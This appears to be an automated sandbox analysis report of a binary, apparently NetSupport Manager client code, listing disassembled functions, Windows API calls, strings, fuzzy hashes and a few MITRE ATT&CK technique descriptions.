Download Yara Rule

APIs

wvsprintfA.USER32(?,?,00000000), ref: 110D1322

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

pszBuffer[1024]==0, xrefs: 110D133A
..\CTL32\NSMString.cpp, xrefs: 110D1335

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 5efc2b1b499c19e22c0b11ea56c1799b84258173eef5baac531c406e2266982d
Instruction ID: 2d49a6c718824c4fb39b7936eb355b27ab8e956fb5db8f47369f869790572c39
Opcode Fuzzy Hash: 5efc2b1b499c19e22c0b11ea56c1799b84258173eef5baac531c406e2266982d
Instruction Fuzzy Hash: 91F0F979B0021D6BCB01DFA4DC50BFEBBFC9B45208F044099EA04A7240DE706A05C7A5

Function 110D1370 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

wvsprintfA.USER32(?,?,1102C511), ref: 110D139B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

pszBuffer[1024]==0, xrefs: 110D13B3
..\CTL32\NSMString.cpp, xrefs: 110D13AE

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcesswsprintfwvsprintf
String ID: ..\CTL32\NSMString.cpp$pszBuffer[1024]==0
API String ID: 175691280-2052047905
Opcode ID: 7dd045176ee68b653aa13a97f0e759d1521d44633953b37ee1248efe406da090
Instruction ID: 95fe0cd820de1796fd70713afb7a02e85a0165c228f84a05359d3cb2f5b90ec5
Opcode Fuzzy Hash: 7dd045176ee68b653aa13a97f0e759d1521d44633953b37ee1248efe406da090
Instruction Fuzzy Hash: 4FF0A47AA0025CBBCB00DEA5DD40BEEFBBD9B45248F044199E608A7140DE706A45C7A5

Function 1109D3F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,ConvertStringSecurityDescriptorToSecurityDescriptorA), ref: 1109D404
SetLastError.KERNEL32(00000078,00000000,?,1109E29C,S:(ML;;NW;;;LW),00000001,?,00000000), ref: 1109D42D

Strings

ConvertStringSecurityDescriptorToSecurityDescriptorA, xrefs: 1109D3FE

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressErrorLastProc
String ID: ConvertStringSecurityDescriptorToSecurityDescriptorA
API String ID: 199729137-262600717
Opcode ID: 72b6cad3dfc85a2363e3c34f7b358bf502283420fca47eee65f37d335c1a72b0
Instruction ID: e717ac8c1df76163528922924e3c5170e1254239c9623c731bd739b822e2347b
Opcode Fuzzy Hash: 72b6cad3dfc85a2363e3c34f7b358bf502283420fca47eee65f37d335c1a72b0
Instruction Fuzzy Hash: C2F05E72A55228AFD724DFA4E844A97B7E8EB48720F00451AF95597240C670FC14DBA0

Function 11029170 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

CreateThread.KERNEL32(00000000,00000000,11026ED0,00000000,00000000,00000000), ref: 110291BE

Strings

*TapiFixPeriod, xrefs: 11029187
Bridge, xrefs: 1102918C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateThread__wcstoi64
String ID: *TapiFixPeriod$Bridge
API String ID: 1152747075-2058455932
Opcode ID: 455249c5f577f5bc371cc96f4979fefb060ee84a49910c717fadbdf2b24322f5
Instruction ID: bf80e38bc05b38b2fab7e3f27e0d367de778c9bee9065702c43ca09430eaf323
Opcode Fuzzy Hash: 455249c5f577f5bc371cc96f4979fefb060ee84a49910c717fadbdf2b24322f5
Instruction Fuzzy Hash: 60F0E57074532D7EFB11DAD6CC45F79B6989300B08FA0003DF528551C8E6B1B9008766

Function 11001080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32(?,?,?,?,?), ref: 110010B7

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001091
m_hWnd, xrefs: 11001096

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitItemLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2046328329-2830328467
Opcode ID: 870a264c4857fd7c20b43c7043125336c03270db109b755264ed45be6d9d6118
Instruction ID: 77f34a7b6d351dc7c2bdf78fd4e91b5ab9e9d0feae3f5383371c0572f9fc60e5
Opcode Fuzzy Hash: 870a264c4857fd7c20b43c7043125336c03270db109b755264ed45be6d9d6118
Instruction Fuzzy Hash: 98E01ABA71025DBFD714CE95EC81EE7B3ACEB48364F008529FA2997640D6B0E85087A1

Function 11001040 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 11001073

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001051
m_hWnd, xrefs: 11001056

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastProcessSendwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 819365019-2830328467
Opcode ID: 46c3cce5aab5cc82a9d8ff0d4253417d22b235869f514457b0a8909ae4eb1d0c
Instruction ID: cf35a841ff9db8a25d072bdd62e9da3c8eef3a8b3e547f8f1cf52fd96b7d4918
Opcode Fuzzy Hash: 46c3cce5aab5cc82a9d8ff0d4253417d22b235869f514457b0a8909ae4eb1d0c
Instruction Fuzzy Hash: 3CE04FB570021DABD310CA95DC85ED7B39CEB54354F008429F92887600D6B0F89087A0

Function 110010D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,?,?,?), ref: 11001103

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110010E1
m_hWnd, xrefs: 110010E6

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$ErrorExitLastPostProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 906220102-2830328467
Opcode ID: 27df700c695a826ec584c3a5c6c16cda0f02aa3721c02321218cde4e7ec8e80e
Instruction ID: e326bc5325dc434b8864e09602644acab64ba33727794dfa8c4f249b36814fc9
Opcode Fuzzy Hash: 27df700c695a826ec584c3a5c6c16cda0f02aa3721c02321218cde4e7ec8e80e
Instruction Fuzzy Hash: 81E04FB970025DAFD314CA95DC45ED6B3ACEB54764F008429F92887600DA70F84087A0

Function 11001110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100113B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001121
m_hWnd, xrefs: 11001126

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: b62a108dd0f1a298b3da6ec4c3cd6e44d75acd6edd0f1b2899dc5cb61eb0235d
Instruction ID: 825df7ee52a795a689a6901b0494195ba864db9fe7d9b2cdbf909eadc0dc9b6b
Opcode Fuzzy Hash: b62a108dd0f1a298b3da6ec4c3cd6e44d75acd6edd0f1b2899dc5cb61eb0235d
Instruction Fuzzy Hash: 4ED02BB561031CABC314DA92DC41FD2F38CAB20364F004435F52542500D571F54083A4

Function 11001000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001011
m_hWnd, xrefs: 11001016

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 76242f1f7a5656083f48ec4c6fb46d4250b195dfa3fd92ba0bbd6b47707e0e7b
Instruction ID: d507351e39c60ba8400a42a64aee1b3b281c2e630578985a984e8bb8925e1fd6
Opcode Fuzzy Hash: 76242f1f7a5656083f48ec4c6fb46d4250b195dfa3fd92ba0bbd6b47707e0e7b
Instruction Fuzzy Hash: 21D02B76B4031DABD310C691DC44FD2F39CD714364F008035F55446500D570F8408390

Function 11143320 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 11143347

Strings

1000,50, xrefs: 11143337, 11143341
1000,50, xrefs: 11143342

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: 1000,50$1000,50
API String ID: 2961919466-2776873633
Opcode ID: 81d6864d565fa8250d3fb3330302d5ba6346bad85999c22dbebb076b7baf886a
Instruction ID: bd0c201b9adf6a5d857793fbf3440ac1f90bcd045974f847078f01ed738f2ada
Opcode Fuzzy Hash: 81d6864d565fa8250d3fb3330302d5ba6346bad85999c22dbebb076b7baf886a
Instruction Fuzzy Hash: 7ED0A7706883996FE7008E69EC00B5DBBCC6B01E14F408021FC98CB780DB70F9508351

Function 1110F340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

this->hReadyEvent, xrefs: 1110F353
..\ctl32\Refcount.cpp, xrefs: 1110F34E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorEventExitLastMessageProcesswsprintf
String ID: ..\ctl32\Refcount.cpp$this->hReadyEvent
API String ID: 2400454052-4183089485
Opcode ID: 41d0f825f3bbd18f317b206de87baf67605da20620eb9fcb5cb917e3173e7c4c
Instruction ID: 9b03986313e8994d60ed52ed66d1c026156e8c3194449c112131b18896cf505e
Opcode Fuzzy Hash: 41d0f825f3bbd18f317b206de87baf67605da20620eb9fcb5cb917e3173e7c4c
Instruction Fuzzy Hash: EDD0223AE142369FD2A09BA8AC06FC2F3B49B08318F018438F00096080DAB0B445CB88

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
